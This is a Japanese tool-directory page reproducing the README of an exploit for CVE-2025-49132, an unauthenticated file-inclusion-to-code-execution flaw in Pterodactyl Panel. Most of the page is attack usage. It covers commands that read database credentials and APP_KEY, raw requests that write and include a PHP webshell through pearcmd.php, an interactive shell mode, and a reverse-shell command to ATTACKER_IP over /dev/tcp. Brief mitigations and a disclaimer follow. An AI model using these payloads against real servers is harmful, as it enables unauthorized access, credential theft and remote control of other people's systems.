Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-49132 — CVE For Pterodactyl(学習および教育用) | Kitploit
ツール/GitHubGitHub/popyue/cve-2025-49132
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト学習と教育
GitHubpopyue/cve-2025-49132

CVE-2025-49132

CVE For Pterodactyl(学習および教育用)

リポジトリを見る
46ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-49132 - Pterodactyl パネルエクスプロイト

⚠️ 免責事項: このリポジトリは、CVE-2025-49132 を理解し文書化するためのセキュリティ研究の一環として、教育および研究目的のみで作成されています。脆弱性発見の功績はすべて元の研究者に帰属します。

root@kitploit:~
  ___ __   __ ___      ___   ___  ___  ___        _  _   ___  _  ____  ___ 
 / __|\ \ / /| __|___ |_  ) / _ \|_  )| __|___   | || | / _ \| ||__ / |_  )
| (__  \ V / | _|___|  / / | (_) |/ / |__ \___|  |_  _| \_, /| ||_ \  / / 
 \___|  \_/  |___|    /___| \___//___||___/        |_|   /_/ |_|___/ /___|

        Pterodactyl Panel - Unauthenticated LFI to RCE Exploit

📋 説明

CVE-2025-49132 は、Pterodactyl パネルにおける未認証のローカルファイルインクルージョン (LFI) の脆弱性で、PHP の pearcmd.php を介してリモートコード実行 (RCE) に昇格させることが可能です。

この脆弱性は /locales/locale.json エンドポイントに存在し、locale および namespace パラメータを適切にサニタイズしていないため、攻撃者は任意の PHP 設定ファイルを読み取り、コード実行を達成できます。

🎯 影響を受けるバージョン

ステータスバージョン
❌ 影響あり<= 1.11.10
✅ 修正済み>= 1.11.11

⚡ 特徴

  • LFI モード: PHP 設定ファイル(データベース認証情報、APP_KEY など)を読み取る
  • RCE モード: pearcmd.php を使った LFI2RCE テクニックによるリモートコード実行
  • インタラクティブシェル: 複数のコマンドを実行できる持続的なシェル
  • 単一コマンド: 一度だけコマンドを実行
  • 見やすい出力: 読みやすさを向上させる色分けされたフォーマット済み出力

📦 インストール

root@kitploit:~
# Clone the repository
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132

# Install dependencies
pip install requests

必要条件

  • Python 3.6+
  • requests ライブラリ
  • curl(RCE モード用)

🚀 使用方法

LFI - 設定ファイルの読み取り

root@kitploit:~
# Read database configuration
python exploit.py -u http://target.com --read -p ../../config -f database

# Read application configuration (contains APP_KEY)
python exploit.py -u http://target.com --read -p ../../config -f app

# Read other configurations
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail

RCE - リモートコード実行

root@kitploit:~
# Single command execution
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"

# Interactive shell mode
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR

# Reverse shell
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

一般的な PEAR パス

ディストリビューションパス
Debian/Ubuntu../../../../../../usr/share/php
SUSE/OpenSUSE../../../../../../usr/share/php/PEAR

📖 引数

🔬 動作の仕組み

LFI(ローカルファイルインクルージョン)

脆弱なエンドポイント /locales/locale.json は、locale と namespace パラメータを受け入れます:

root@kitploit:~
GET /locales/locale.json?locale=../../config&namespace=database

これにより、配列を返す任意の PHP ファイルを読み取ることができ、Laravel の設定ファイルも含まれます。

RCE(リモートコード実行)

このエクスプロイトは LFI を pearcmd.php と組み合わせて RCE を達成します:

  1. ステージ 1: pearcmd.php の config-create コマンドを使用して PHP ウェブシェルを書き込む

    root@kitploit:~
    /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
    
  2. ステージ 2: LFI 経由で書き込んだシェルをインクルードする

    root@kitploit:~
    /locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
    

📸 スクリーンショット

LFI - データベース設定の読み取り

root@kitploit:~
════════════════════════════════════════════════════════════
  DATABASE CONFIGURATION
════════════════════════════════════════════════════════════

  default: mysql
  connections:
    mysql:
      driver: mysql
      host: 127.0.0.1
      port: 3306
      database: panel
      username: pterodactyl
      password: SecretPassword123

────────────────────────────────────────────────────────────
[+] Configuration extracted successfully!

RCE - コマンド実行

root@kitploit:~
[*] Target: http://panel.example.com
[*] Executing command: id
[*] Writing payload to: /tmp/cmd_abc123.php
[+] Output:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------

🛡️ 対策

  1. Pterodactyl パネルをバージョン 1.11.11 以降に更新する
  2. locale および namespace パラメータに適切な入力検証を実装する
  3. 有効な locale/namespace 値の許可リストを使用する
  4. PHP の register_argc_argv ディレクティブを制限する

⚠️ 免責事項

このツールは、教育および許可されたセキュリティテストの目的のみで提供されます。

  • このツールは、自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用すること
  • コンピュータシステムへの不正アクセスは違法です
  • 作者は、このツールの誤用または損害について一切の責任を負いません

責任を持って倫理的に使用してください。

📚 参考文献

  • Pterodactyl パネル公式
  • Pterodactyl パネル GitHub
  • CVE-2025-49132 詳細
  • CVE-2025-49132: Pterodactyl パネルが未認証の任意リモートコード実行を許容
  • PEAR LFI から RCE へのテクニック
  • PHP フィルタチェーンジェネレーター
  • ローカルファイルインクルージョンからリモートコード実行 (RCE) へ

📝 変更履歴

  • v1.0.0 - 初回リリース
    • LFI 設定ファイル読み取り
    • pearcmd による RCE
    • インタラクティブシェルモード
    • 整形された見やすい出力

⭐ このリポジトリが役に立ったなら Star を付けてください!

ツールをダウンロード
CentOS/RHEL../../../../../../usr/share/pear
Alpine../../../../../../usr/share/php8
引数説明
-u, --urlターゲット URL(必須)
-p, --pathLFI 用のパストラバーサル、または RCE 用の PEAR パス
-f, --file読み取る PHP ファイル(.php 拡張子なし)
--readLFI 読み取りモードを有効化
--rceRCE モードを有効化
--cmd実行するコマンド(単一実行モード)
--sdirシェルを書き込むディレクトリ(デフォルト: /tmp)
--snameシェルのファイル名(デフォルト: shell)